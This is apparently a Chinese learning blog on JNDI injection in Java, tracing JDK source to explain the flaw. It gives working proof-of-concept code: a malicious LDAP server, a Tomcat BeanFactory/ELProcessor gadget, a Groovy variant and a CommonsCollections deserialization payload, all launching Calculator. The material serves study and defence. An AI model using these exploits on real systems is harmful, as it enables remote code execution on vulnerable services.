什么是JNDI
JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也即JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务和目录服务,什么是命名服务和目录服务?
- 命名服务:就是一种通过名称来查找实际对象的服务。比如RMI协议,可以通过名称来查找并调用具体的远程对象。再比如DNS协议,通过域名来查找具体的IP地址。
- 目录服务:目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。例如,一个用户对象可能有用户名、密码、电子邮件地址和电话号码等属性,我们不仅可以根据其名称还可以根据号码来进行search得到对象。
JNDI的使用
可能看了上面的解释还是有点云里雾里的,我们直接来看实际的例子实践一下,看看JNDI与RMI的结合使用:
首先还是要定义一个远程接口:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMIinterface extends Remote {
String test() throws RemoteException;
}
然后RMI的服务端还是要开启(这里可以不把对象bind上,但是远程对象还是要创建,不创建的话进程会直接运行结束):
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server extends UnicastRemoteObject implements RMIinterface {
protected Server() throws RemoteException {
}
@Override
public String test() throws RemoteException {
System.out.println("Server:Hello!");
return "Hello!";
}
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
Server server = new Server();
Registry registry = LocateRegistry.createRegistry(1098);
}
}
然后新建一个JNDI服务端,可以看到这里其实用法和之前RMI很像,都有着如bind、rebind这样的方法。这里是通过初始化上下文环境,这个上下文环境为应用程序访问命名服务提供了必要的信息。然后将一个远程对象绑定到RMI服务上(这里其实也可以用bind方法,因为我们之前没有绑定远程对象)
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1098/testobj",new Server());
}
}
最后在JNDI客户端中实现远程调用,可以看到这里也和RMI的非常类似,都是使用lookup方法来查询相关的远程对象并进行调用
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
RMIinterface rmIinterface = (RMIinterface)initialContext.lookup("rmi://localhost:1098/testobj");
rmIinterface.test();
}
}
从上面的例子我们可以看到,JNDI其实只是相当于一个管理的API,真正的服务仍然是通过RMI实现的。实际上,JNDI对RMI的支持也是通过RMI那套去实现的,所以之前我们提到的那些针对RMI的攻击方法在这种场景下也是适用的。
JNDI注入
上面我们使用的initialContext.rebind("rmi://localhost:1098/testobj",new Server());
实际上是在进行对对象的存储。
实际上JNDI中支持存储以下几种类型的对象:
- Java serializable objects
Referenceable
objects and JNDIReference
s- Objects with attributes (
DirContext
) - RMI (Java Remote Method Invocation) objects (including those that use IIOP)
- CORBA objects
其中RMI对象我们之前早已接触过,而serializable对象也不陌生,假如要是将serializable对象存储至JNDI服务中显然我们也可以实现Client和Server间的远程通信(这里会不会有反序列化漏洞?),但是有时要是序列化对象太大的话并不是Server所愿意看到的,这种情况下Reference应运而生。Reference对象实际上相当于一个封装,即告知对象的地址,类名称等信息来让JNDI服务重构一个完整的对象(听起来感觉有点像反序列化)
来看Reference的构造方法:
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
实际上来说,当我们改写代码为以下时:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1098);
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Evil", "Evil", "http://localhost:7777");
initialContext.rebind("rmi://localhost:1098/testobj",reference);
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
Object obj = initialContext.lookup("rmi://localhost:1098/testobj");
}
}
在Server端我们不再绑定远程对象,而是绑定一个reference对象,当Client尝试从"rmi://localhost:1098/testobj"
获取远程对象时,当在Client本地无法加载到classFactory时,会尝试从Reference对象的classFactoryLocation地址中加载Factory类并实例化(没错,会调用其无参构造方法),主要逻辑是lookup时会调用Naming.getObjectInstance
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
而这里面又调用了factory = getObjectFactoryFromReference(ref, f);
,当中实现了对factory类的远程加载和实例化
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
很显然这里有一个明显的漏洞,就是当Client中lookup的参数为入侵者可控时,无论是RMI服务器的地址,还是Reference中classFactoryLocation的地址都将是入侵者可控的,这就是JNDI注入,流程具体如下图所示:
LDAP绕过
JDK 6u141
, JDK 7u131
, JDK 8u121
及之后的Java限制了通过RMI
远程加载Reference
工厂类。com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类。
在低版本JDK_8u65下,在RegistryContext#decodeObject()
方法会直接调用到NamingManager#getObjectInstance()
,进而调用getObjectFactoryFromReference()
方法来获取远程工厂类。
在高版本中的RegistryContext#decodeObject()
方法则增加了对类型以及trustURLCodebase
的检查。
那么这种情况下是否还有机会来进行JNDI注入呢,实际上,JDK中JNDI原生支持四种协议:
- RMI: Java Remote Method Invocation,Java 远程方法调用
- LDAP: 轻量级目录访问协议
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
- DNS(域名转换协议)
在JDK8u121中,其他三种协议都进行了如RMI一般的修复,而对于ldap协议仍然可以继续被利用:
添加依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
构建一个LDAP服务端:
package JNDI;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Evil";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
此时相当于LDAP服务是开在port1234端口,而Reference对象的classFactoryLocation才是”http://127.0.0.1:8000/#Evil”
因此对于受害者来说,其模拟为:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
Object obj = initialContext.lookup("ldap://localhost:1234/Evil");
}
}
高版本JDK的绕过
遗憾的是,JDK 11.0.1、JDK 8u191、JDK7u201、JDK6u211起LDAP中的trustURLCodebase也变成了False
这种情况下我们再也没办法像以前那样直接可控lookup参数就可以进行JNDI注入了,但还是存在一些可能的绕过手段
使用本地的Reference Factory类
JDK8u191后现在我们没办法远程加载类了,那我们只能寻找倘若正常流程运行有没有可以触发漏洞的Factory类了,首先回顾下和getObjectFactoryFromReference
中的实现
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
首先对于一个本地的Factory类,最好要是他的无参构造方法就可以被我们RCE(想🍑呢!这显然是不可能的),那么我们要使他继续往下面走,就必须使Factory类是实现了ObjectFactory接口的,当然了,还要求这个类不能只有有参构造方法,否则也不能顺利执行clas.newInstance()
再来看下得到factory之后的操作,在Naming.getObjectInstance
中:
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
得到factory后发现调用了factory的getObjectInstance方法并返回,所以Factory类还必须有getObjectInstance方法,所以我们目前的任务就是需要找到一个JDK内置的或者常见的类满足:
- 实现了ObjectFactory接口
- 不能仅有有参构造方法
- 有getObjectInstance方法
- getObjectInstance中有可以利用的点
这里最终找到的是org.apache.naming.factory.BeanFactory
,该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。
来看下其getObjectInstance方法:
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance();
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}
int i = 0;
for (i = 0; i<pda.length; i++) {
if (pda[i].getName().equals(propName)) {
Class<?> propType = pda[i].getPropertyType();
if (propType.equals(String.class)) {
valueArray[0] = value;
} else if (propType.equals(Character.class)
|| propType.equals(char.class)) {
valueArray[0] =
Character.valueOf(value.charAt(0));
} else if (propType.equals(Byte.class)
|| propType.equals(byte.class)) {
valueArray[0] = Byte.valueOf(value);
} else if (propType.equals(Short.class)
|| propType.equals(short.class)) {
valueArray[0] = Short.valueOf(value);
} else if (propType.equals(Integer.class)
|| propType.equals(int.class)) {
valueArray[0] = Integer.valueOf(value);
} else if (propType.equals(Long.class)
|| propType.equals(long.class)) {
valueArray[0] = Long.valueOf(value);
} else if (propType.equals(Float.class)
|| propType.equals(float.class)) {
valueArray[0] = Float.valueOf(value);
} else if (propType.equals(Double.class)
|| propType.equals(double.class)) {
valueArray[0] = Double.valueOf(value);
} else if (propType.equals(Boolean.class)
|| propType.equals(boolean.class)) {
valueArray[0] = Boolean.valueOf(value);
} else {
throw new NamingException
("String conversion for property " + propName +
" of type '" + propType.getName() +
"' not available");
}
Method setProp = pda[i].getWriteMethod();
if (setProp != null) {
setProp.invoke(bean, valueArray);
} else {
throw new NamingException
("Write not allowed for property: "
+ propName);
}
break;
}
}
if (i == pda.length) {
throw new NamingException
("No set method found for property: " + propName);
}
}
return bean;
} catch (java.beans.IntrospectionException ie) {
NamingException ne = new NamingException(ie.getMessage());
ne.setRootCause(ie);
throw ne;
} catch (java.lang.IllegalAccessException iae) {
NamingException ne = new NamingException(iae.getMessage());
ne.setRootCause(iae);
throw ne;
} catch (java.lang.InstantiationException ie2) {
NamingException ne = new NamingException(ie2.getMessage());
ne.setRootCause(ie2);
throw ne;
} catch (java.lang.reflect.InvocationTargetException ite) {
Throwable cause = ite.getCause();
if (cause instanceof ThreadDeath) {
throw (ThreadDeath) cause;
}
if (cause instanceof VirtualMachineError) {
throw (VirtualMachineError) cause;
}
NamingException ne = new NamingException(ite.getMessage());
ne.setRootCause(ite);
throw ne;
}
} else {
return null;
}
}
这次的流程相对复杂,我们结合POC正向调试一下:
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
initialContext.bind("rmi://localhost:1097/Object",ref);
首先我们构造了ResourceRef对象(ResourceRef是Reference的子类)
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation) {
super(resourceClass, factory, factoryLocation);
StringRefAddr refAddr = null;
if (description != null) {
refAddr = new StringRefAddr(DESCRIPTION, description);
add(refAddr);
}
if (scope != null) {
refAddr = new StringRefAddr(SCOPE, scope);
add(refAddr);
}
if (auth != null) {
refAddr = new StringRefAddr(AUTH, auth);
add(refAddr);
}
// singleton is a boolean so slightly different handling
refAddr = new StringRefAddr(SINGLETON, Boolean.toString(singleton));
add(refAddr);
}
这里又调用了父类的构造方法(也即Reference类的构造方法)
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
public Reference(String className) {
this.className = className;
addrs = new Vector<>();
}
结合下可以发现,对于我们传入的ResourceRef对象,最终
ref.className = "javax.el.ELProcessor"
ref.singleton = true
ref.factory = "org.apache.naming.factory.BeanFactory"
我们来看其getObjectInstance方法,首先跟下可以发现其传入的object参数就是我们构建的ref(这部分就不跟了),然后首先判断了obj是否为ResourceRef类型,这也就是为什么我们构造的obj为ResourceRef的原因
接下来的代码看得出是获取名为beanClassName的类的一个实例对象(通过.newInstance()
调用其无参构造方法),getClassName方法为ClassName的getter方法,自然是得到其ClassNames属性也就是javax.el.ELProcessor,因此这里的bean为一个ELProcessor对象。
接下来调用了ref的get方法
public RefAddr get(String addrType) {
int len = addrs.size();
RefAddr addr;
for (int i = 0; i < len; i++) {
addr = addrs.elementAt(i);
if (addr.getType().compareTo(addrType) == 0)
return addr;
}
return null;
}
可以看到本质上是遍历addrs属性中的每个元素看其getType()的返回值是否等于”forceString”,那么addrs属性又是什么呢?
protected Vector<RefAddr> addrs = null;
可以看到本质上是一个RefAddr类型的Vector,来看下RefAddr又是什么:
protected RefAddr(String addrType) {
this.addrType = addrType;
}
而POC中的ref.add(new StringRefAddr("forceString", "x=eval"));
StringRefAddr是RefAddr的子类:
public StringRefAddr(String addrType, String addr) {
super(addrType);
contents = addr;
}
所以本质上来说ref.add(new StringRefAddr("forceString", "x=eval"));
是为ref的addrs属性(一个Vector)中添加了一个addrType属性为”forceString”,contents属性为”x=eval”的StringRefAddr.
显然,此时ra为我们构建的StringRefAddr,value为”x=eval”
接下来以=分割param,这里不难看出在try语句中param为x,beanClass.getMethod(setterName, paramTypes)
得到了ELProcessor的eval方法,值得注意的是这里的paramTypes是前面确定的,要求只能为String.Class,也就是说到这里我们事后诸葛亮反推一下,这里要求可以执行命令的方法,要求传参只能是一个String,再结合前面实例化类时强制调用的是无参构造方法,要满足这两个要求的命令执行手段其实很少。
在这里的最后,forced哈希表推入了一个键为x,值为evil方法的键值对。
以下的代码其实就是在获取ref的addr对象并遍历,值得注意的是,当addr属性为特定类型时就跳过下面的处理进入下一个循环
而POC中ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
新增了一个addrType属性为”x”,contents属性为"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\"
的StringRefAddr,不在这些中,所以执行其getContent()方法得到命令语句,再从forced中取出键为”x”的值(也即eval方法),最终调用eval方法执行命令。
至于其执行命令的语句,实际上是EL表达式,这部分我还没学习,等到以后学到EL表达式时再深入研究。不过我们也可以看到,在利用链中最关键的是要找到一个符合以下要求的利用类:
- JDK或者常用库的类
- 有public修饰的无参构造方法
- public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
除了我们上面利用的ELProcessor,一般还可以尝试利用GroovyClassLoader#parseClass
来执行命令,核心POC变化为:
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "open -a Calculator");
ref.add(new StringRefAddr("x",script));
此外,这篇文章中还探究了许多可用的利用类。
使用LDAP触发本地Gadget
当受害者本地存在可用的反序列化利用链时,可以用LDAP服务来触发反序列化:
这里我们还是根据POC进行正向调试:
//LDAP 服务
import com.unboundid.ldap.sdk.LDAPException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.unboundid.util.Base64;
import java.text.ParseException;
import java.util.HashMap;
import java.util.Map;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class JNDI_LDAP {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = "Exploit";
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException, NoSuchFieldException, IllegalAccessException, ParseException {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.decode(ccbase64()));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static String ccbase64() throws IOException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
Map lazymap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
HashMap<Object, Object> hashMapnew = new HashMap<>();
TiedMapEntry mapentry = new TiedMapEntry(new HashMap<>(), 'a');
hashMapnew.put(mapentry,'b');
Field mapfield = TiedMapEntry.class.getDeclaredField("map");
mapfield.setAccessible(true);
mapfield.set(mapentry,lazymap);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMapnew);
oos.flush();
return Base64.encode(bos.toByteArray());
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
RMIinterface rmIinterface = (RMIinterface)initialContext.lookup("ldap://127.0.0.1:1389/Exploit");
rmIinterface.test();
}
}
对lookup方法下断点,一路跟下来会发现来到了:
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}
while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);
try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}
try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}
我们关注下:
这里说假如var4的Obj.JAVA_ATTRIBUTES[2]
不为null则会调用decodeObject处理var4,而JAVA_ATTRIBUTES[2]为javaClassName
这正是POC中要设置一个javaClassName属性的原因
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException, NoSuchFieldException, IllegalAccessException, ParseException {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.decode(ccbase64()));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
来看下decodeObject方法:
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
这里判断了我们传入的obj是否有JAVA_ATTRIBUTES[1]的键,假如有的话就对其值调用deserializeObject
方法,而
JAVA_ATTRIBUTES[1]正对应了POC中的javaSerializedData,接下来来看下deserializeObject方法:
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}
当中调用了readObject方法,会触发漏洞